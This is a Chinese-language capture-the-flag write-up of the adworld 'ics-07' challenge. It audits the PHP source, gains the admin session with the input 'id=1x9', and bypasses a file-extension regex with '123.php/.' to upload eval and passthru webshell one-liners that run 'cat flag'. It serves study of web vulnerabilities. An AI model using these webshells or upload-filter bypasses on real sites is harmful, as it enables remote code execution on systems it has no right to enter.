ics-07-adworld


```
[07:09:22] 403 -  288B  - /.php
[07:09:50] 200 -    0B  - /config.php
[07:09:52] 301 -  322B  - /css  →  http://61.147.171.105:57383/css/
[07:09:59] 200 -   77B  - /flag.php
[07:10:03] 302 -    1KB - /index.php  →  ?page=flag.php
[07:10:03] 302 -    1KB - /index.php/login/  →  ?page=flag.php
[07:10:06] 200 -  487B  - /js/
[07:10:28] 403 -  297B  - /server-status
[07:10:28] 403 -  298B  - /server-status/
[07:10:38] 500 -    0B  - /uploaded/
```

可用看到后台，首先是login的登陆平台

首先sqlmap一把梭哈（当然不行

首先点看view-source进行代码审计

```
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>
```

```
    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id],
-1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

  </body>
</html>
```

果然不是sql注入，而是夹杂了upload文件上传

```
<?php
    if ($_SESSION['admin']) {
      $con = $_POST['con'];
```

```
        $file = $_POST['file'];
        $filename = "backup/".$file;

        if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
           die("Bad file extension");
        }else{
             chdir('uploaded');
            $f = fopen($filename, 'w');
            fwrite($f, $con);
            fclose($f);
        }
      }
      ?>
```

昨天就学习过构造方式，这里过滤php一系列格式，但是我们可用php.png然后截断，或者考虑绕过

不过下面这个php也有sql注入的信息

```
<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id],
-1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
      ?>
```

这个就是很简单的判断后，使用mysql_real_escape_string这种比较古老的版本，当然这些都不care，他会让session未true，为我们的文件上传提供方法

经过我的测试和审计，可用明确这个sql语句构造是让id=1，不然他不会有个浮点过滤。并且保证末尾是9，`mysql_real_escape_string`的宽字节注入暂时不考虑，因为明确了flag.php文件而不是sql注入

接着可以肯定id在sql里是整数定义。我们要让id最后查询是id=1，而传输url末尾得是9。这里要利用mysql的特性，也就是整数提取。

如果我们传入个1x9，x是任意非数字，那么mysql就会在整数型的定义下将开头的数字提取出来，所以我们可以构造`1x9`，显示为admin

之后开始文件上传，因为有session的前提需求，我们

并且要注意，因为`chdir('uploaded')`的语句，文件的上传地址其实是在uploaded下而不是backup，前面的filename只是烟雾弹

并且我们在爆破时候也发现了uploaded子文件，不过无法访问而已

正则表达式很容易绕过，因为抓的是文件末尾，可以通过 /1.php/.绕过，这个是文件系统漏洞，他会默认/就结束

并且要直到filename前面加了backup，所以传文件去目录是在/upload/backup/123.php

构造如下

```
file=123.php/.&con=<?php @eval($_GET['cmd']); ?>
```

或者直接输出到浏览器

```
file=123.php/.&con=<?php passthru($_GET[bash]);?>
```

获取cat flag命令